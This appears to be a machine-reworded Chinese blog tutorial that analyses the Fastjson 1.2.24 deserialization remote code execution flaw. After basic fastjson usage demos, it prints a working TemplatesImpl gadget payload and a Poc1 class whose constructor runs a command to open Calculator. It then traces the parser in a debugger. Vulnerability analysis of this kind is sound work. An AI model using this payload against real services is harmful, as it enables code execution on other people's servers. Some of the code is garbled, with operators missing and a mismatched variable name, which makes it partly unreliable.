摘要
忙碌的日子里,fastjson的漏洞一直被我忽略。今天,我终于抽出时间来剖析它。但是,要想深入了解fastjson的漏洞,我们必须先掌握它的基本应用。如果我们不了解它,那么就像迷失在茫茫大海中一样。
正文
从0开始fastjson系统漏洞剖析
有关fastjson漏洞检测参照:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html
fastjson这一系统漏洞出来好长时间,一直没空剖析,耽误了,今日拾起来
由于我们要剖析fastjson有关系统漏洞,因此 大家先去学习fastjson的基本应用,如果我们连fastjson都不清楚,更谈何系统漏洞剖析呢?
最先先构建有关系统漏洞自然环境:
应用maven,十分便捷大家转换有关系统漏洞版本号:
pom.xml:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId> <artifactId>Java_Test</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/com.Google.common/google-collect --> <!-- https://mvnrepository.com/artifact/com.google.guava/guava --> <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --> <!--fastjson1.2.24自然环境安裝--> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>RELEASE</version> <scope>compile</scope> </dependency> </dependencies> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> </project>
随后点一下更新按键,会全自动帮大家安裝有关依靠
到此,大家就有着了fastjson自然环境
什么叫fastjson?
fastjson是一个Java语言表达撰写的性能卓越功能齐全的JSON库。它选用一种“假设井然有序迅速配对”的优化算法,把JSON Parse的特性提高到完美,是现阶段Java语言表达中更快的JSON库。Fastjson插口简易实用,早已被普遍应用在缓存文件实例化、协议书互动、Web輸出、Android手机客户端等多种多样应用领域。
通俗一点说便是帮大家解决json数据信息的
搓个demo:
Student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" "id=" id ", name='" name '\'' ", age=" age '}'; } }
Teacher.java:
package com.test.fastjson; import java.util.List; public class Teacher { private int id; private String name; private List<Student> studentList; public Teacher(){ } public Teacher(int id, String name, List<Student> studentList) { this.id = id; this.name = name; this.studentList = studentList; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public List<Student> getStudentList() { return studentList; } public void setStudentList(List<Student> studentList) { this.studentList = studentList; } @Override public String toString() { return "Teacher{" "id=" id ", name='" name '\'' ", studentList=" studentList '}'; } }
撰写检测类:
@Test public void fastjson_test1(){ Student student = new Student(1,"jack",24); System.out.println(JSON.toJSON(student)); }
把目标转化成json文件格式数据信息
适用繁杂的目标变换json解决:
@Test public void fastjson_test2(){ List<Student> studentList = new ArrayList<Student>(); for(int i=0;i<4;i ){ Student student = new Student(i, "jack" i, 23 i); studentList.add(student); } List<Teacher> teacherList = new ArrayList<Teacher>(); Teacher teacher = new Teacher(); teacher.setStudentList(studentList); System.out.println(JSON.toJSON(teacher)); }
除开应用toJSON方式 变换外,还能够应用toJSONString方式 :
@Test public void fastjson_test3(){ Student student = new Student(1,"jack",24); System.out.println(JSON.toJSONString(student)); }
查询回到种类,String种类
表明是把student目标数据交换成字符串数组json数据信息
JSON.toJSONString的拓展:
要求以下:只必须Student目标的id和age字段名,不必name字段名,如何做?
@Test public void fastjson_test4(){ Student student = new Student(1,"jack",24); //过虑只需id和age字段名 SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age"); String value = JSON.toJSONString(student, filter); System.out.println(value); }
设定保存id和age字段名
根据上边的学习培训知道假如想把目标转化成json数据信息能够 应用JSON.toJSON,或是应用JSON.toJSONString
大家继续学习,下一步大家试着把json数据交换成目标,复原大家的目标:
//反序列化,str种类数据交换成class种类目标 @Test public void fastjson_test5(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student); System.out.println("转化成json数据信息"); System.out.println(value); System.out.println("str种类json数据交换成class种类目标"); System.out.println(JSON.parseObject(value, Student.class)); }
根据上边编码,我们可以发觉一个关键:
fastjson会解决字符串类型的json数据信息,上边的value自变量是字符串类型,这对大家事后系统漏洞剖析很有协助
再次拓展JSON.toJSONString:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class); System.out.println(student1); }
把結果輸出出去:
{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}
发觉多了个@type字段名,表明了大家Student目标转化成json数据信息的基本数据类型,告知我们都是com.test.fastjson.Student种类的数据信息被转化成json数据信息了.
大家继续学习:
前边讲了fastjson会解决大家的字符串数组json,立即写一段字符串数组json数据信息:
@Test public void fastjson_test7(){ String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(jsonStr); System.out.println(getType(jsonStr)); System.out.println(JSON.parseObject(jsonStr)); }
大家那样写,会发觉最终字符串数组json沒有转化成目标
为何?
由于fastjson找不着我们要变换的json数据信息在哪个类,这儿我们要申明种类:
再度改动:
@Test public void fastjson_test7(){ String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(getType(jsonStr)); System.out.println(JSON.parseObject(jsonStr)); }
有趣的地区来啦,申明种类后的字符串数组json数据信息,fastjson并沒有把它转化成目标:
深层次追踪下:
在JSON.parseObject处打个中断点:
跟进去:
再次进涵数:
value=Student{id=1, name='jack', age=24}
再次下一步:
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
分辨引入obj偏向的目标是不是JSONObject,如果是就立即回到,不然就回到toJSON解决:
再次下一步实行:
了解吧toJSON,把大家的student目标再度转化成了json数据信息…:
那麼最终的回到便是:
解决方案:应用parse更换parseObject:
@Test public void fastjson_test7(){ String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(getType(jsonStr)); System.out.println(JSON.parse(jsonStr)); }
这一次,大家取得成功把字符串数组json数据交换变成目标:
很有可能做为开发设计,到这一步早已学完后基本的常见使用方法,可是针对安全性而言,这儿很有可能是不是很有可能会存有安全风险呢?
猜想:fastjson会依据大家声明的种类,fastjson在反序列化大家的字符串数组json数据信息的情况下,会把它转化成目标,那麼如果我们的type字段名上键入故意类,是不是会在java反序列化的情况下造成安全隐患呢?
这就是fastjson网络安全问题的最开始造成,故意改动type类,造成安全隐患
深入分析fastjson的目标转json,json转目标的启用体制:
改动大家的Student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" "id=" id ", name='" name '\'' ", age=" age '}'; } }
清除大家的构造函数:
撰写测试标准:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class); System.out.println(student1); }
立即出错了,发觉大家json转str不成功,大家反序列化不成功,出错提醒默认设置的构造函数不会有,表明前提条件1:fastjson反序列化务必要构造函数
再度改动student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你务必启用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" "id=" id ", name='" name '\'' ", age=" age '}'; } }
再度运作上边的测试标准:
再次探寻:
再度改动student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你务必启用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; System.out.println("setId被启用"); } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" "id=" id ", name='" name '\'' ", age=" age '}'; } }
在set方式 中增加了一条輸出句子
再度运作上边的测试标准:
试着删掉set方式 :
改动student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你务必启用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } // public void setId(int id) { // this.id = id; // System.out.println("setId被启用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" "id=" id ", name='" name '\'' ", age=" age '}'; } }
编码中注解了setId方式
再度运作:
结果:反序列化目标的情况下,假如目标中的特性界定是private,那麼务必设定set方式 ,protected修饰符也是一样,务必设定set方式
仅有set方式 ,沒有界定get方式 能够 被反序列化吗?
注解掉get方式 ,保存set方式 :
结果:不能,起码在JSON.parseObject下是不能的
汇总:应用JSON.parseObject反序列化的情况下,特性字段名如果是private和protected装饰的情况下,务必有set和get方式 ,不然很有可能造成一些字段名反序列化不成功
再度改动student.java文件:
package com.test.fastjson; public class Student { public int id; private String name; private int age; public Student(){ System.out.println("你务必启用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } // public int getId() { // return id; // } // public void setId(int id) { // this.id = id; // System.out.println("setId被启用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" "id=" id ", name='" name '\'' ", age=" age '}'; } }
改动private为public,注解掉set和get方式
再度运作测试标准:
结果:public字段名下,set/get无关紧要
或是返回priavte字段名难题,再度改动student.class:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你务必启用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } // public void setId(int id) { // this.id = id; // System.out.println("setId被启用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" "id=" id ", name='" name '\'' ", age=" age '}'; } }
注解了set方式 ,保存get方式 :
前边讲了,set和get方式 缺一不可,因此 大家JSON.ParseObject,一定是反序列化不成功的
是不是有解决方法?
改动测试标准为:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField); System.out.println(student1); }
再度运作:
Feature.SupportNonPublicField能够 使我们忽视设定set方式 ,只需设定get方式 ,就能达到反序列化
最后结果汇总:fastjson反序列化取决于set和get方式 ,并且务必要有构造函数,最优先选择启用的是构造函数,fastjson设定Feature.SupportNonPublicField,能够 忽视set方式 ,JSON.Parse反序列化和JSON.ParseObject一样
好啦,基本一部分所有说完了,包含他反序列化和字段名及其构造函数的启用难题
下边详细介绍fastjson第一个系统漏洞:
运用链:Fastjson 1.2.24 远程控制编码执⾏&&TemplatesImpl,依靠Feature.SupportNonPublicField 运用链较为可有可无
可是剖析这条运用链,能够 使你很清晰了解fastjson內部是怎么开展实例化的,反序列化的,根据前边写的demo,大家早已对fastjson內部解决目标和json变换目标拥有比较详尽的认知能力
poc结构:我是mac,Windows立即calc就可以:
Poc1.java:
package com.test.fastjson; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Poc1 extends AbstractTranslet { public Poc1() throws IOException { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws IOException { Poc1 poc1 = new Poc1(); } }
编译程序运作一次转化成字节码,随后全局性base64编号:
反序列化进攻:
AttackPoc1.java:
package com.test.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class AttackPoc1 { public static void main(String[] args) throws ClassNotFoundException { String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" "[\"刚转化成的base64编号的字节码数据信息\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}"; JSON.parseObject(payload,Feature.SupportNonPublicField); } }
运作:
取得成功指令实行弹出窗口计算方式
基本原理剖析,先抛出去疑虑点:
除去Feature.SupportNonPublicField还能够指令实行吗?
运作沒有指令实行,前边大家学了Feature.SupportNonPublicField是在我们设定get方式 ,而沒有设定set方式 的挽救,即便沒有set方式 也会帮大家反序列化取得成功
跟踪TemplatesImpl类:能够 debug进来,这儿我选择反射面进来:
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
以这一字段名为例子:
检索setOutputProperties:
因此 大家他一定要取决于Feature.SupportNonPublicField
打个中断点,深层次追踪下:
处理大家的好多个疑虑
(1)为何_bytecodes界定的数据信息得是base64编号
(2)fastjson反序列化是如何走的?
下一个中断点:
先弄清楚第一个难题bytecodes字节码为什么是base64编号:
分辨开始键入是不是{:
再次向下:
设定token为12,很重要,后边的分辨都需要根据token:
一直下一步实行:
根据loadClass载入大家的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类:
结合储存故意类:
随后持续分辨大家的clazz是什么种类:
不满足条件就再次向下找:
根据反射面获得全部的方式
分辨方式 的界定标准:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { Class<?>[] types = method.getParameterTypes();
方式 名称要合乎这一标准:
获得字段名:
debug确实脑子疼:
关键来啦:
反序列化字段名:
再次向下跟:
再次向下:
最终出调用函数parseObject:
最终运行命令:
2.bytescodes base编号缘由:
反序列化的情况下启用:
byte[] bytes = lexer.bytesValue(); lexer.nextToken(16);
会启用base64编解码:
静态数据调节下:
跟踪方式 :
方式 在接口类中,找插口完成类:
检索到一个:
进来:
发觉是个抽象类:
java基本关键定义:
假如想完成抽象类中的方式 ,必须派生类承继父类,随后调用方式 .
找寻他的派生类:
查询他的派生类:
他的父类是object:
挑选他的派生类进来看一下:
检索byteValue,查询其涵数完成:
到此第一条可有可无的运用链分析结束,明日我剖析下不可有可无的运用链,运用jndi引入立即rce
关注不迷路
扫码下方二维码,关注宇凡盒子公众号,免费获取最新技术内幕!
评论0